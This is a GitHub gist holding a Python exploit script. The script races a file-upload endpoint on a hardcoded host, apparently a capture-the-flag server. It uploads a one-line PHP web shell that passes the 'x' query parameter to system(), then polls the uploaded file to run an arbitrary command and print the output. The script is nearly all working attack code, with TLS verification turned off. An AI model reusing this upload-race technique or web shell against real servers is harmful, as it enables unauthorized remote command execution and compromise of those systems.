Created
August 17, 2025 18:23
-
-
Save lawbyte/dcfc828eb2260d465feb9cd28eafb41d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # ultra-min: hardcoded target, only --cmd, 1 poller thread | |
| import argparse, io, time, threading, random, string | |
| import requests | |
| from urllib.parse import quote | |
| BASE = "https://racing.serv2.cbd2025.cloud" # hardcoded | |
| PHP_SHELL = b"<?php if(isset($_GET['x'])){system($_GET['x']);} ?>" | |
| def rand_name(): | |
| s = "".join(random.choice(string.ascii_lowercase) for _ in range(6)) | |
| return f"sh_{s}.php" | |
| def poll_once(sess, url, stop_flag): | |
| got = False | |
| deadline = time.time() + 6.0 # ~6s window | |
| while time.time() < deadline and not stop_flag.is_set(): | |
| try: | |
| r = sess.get(url, timeout=0.8, allow_redirects=False) | |
| if r.status_code == 200 and r.text.strip(): | |
| print(r.text) | |
| stop_flag.set() | |
| got = True | |
| break | |
| except requests.RequestException: | |
| pass | |
| # very small pause to keep it snappy but not 100% busy | |
| time.sleep(0.01) | |
| return got | |
| def main(): | |
| ap = argparse.ArgumentParser() | |
| ap.add_argument("--cmd", default="id", help="command to run via ?x=") | |
| args = ap.parse_args() | |
| sess = requests.Session() | |
| sess.verify = False # accept self-signed | |
| try: | |
| import urllib3; urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
| except Exception: | |
| pass | |
| name = rand_name() | |
| url = f"{BASE}/uploads/{name}?x={quote(args.cmd)}" | |
| print(f"shell: {url}") | |
| # start a single poller in the background | |
| stop = threading.Event() | |
| t = threading.Thread(target=poll_once, args=(sess, url, stop), daemon=True) | |
| t.start() | |
| # upload the tiny shell | |
| files = {"imageFile": (name, io.BytesIO(PHP_SHELL), "application/octet-stream")} | |
| data = {"submit": "1"} | |
| try: | |
| r = sess.post(f"{BASE}/upload.php", files=files, data=data, timeout=10, allow_redirects=False) | |
| except requests.RequestException as e: | |
| print(f"[-] upload failed: {e}") | |
| return | |
| # wait for poller to finish window | |
| t.join(timeout=7.0) | |
| if not stop.is_set(): | |
| print("[-] no output; just run the script again (window is tiny).") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment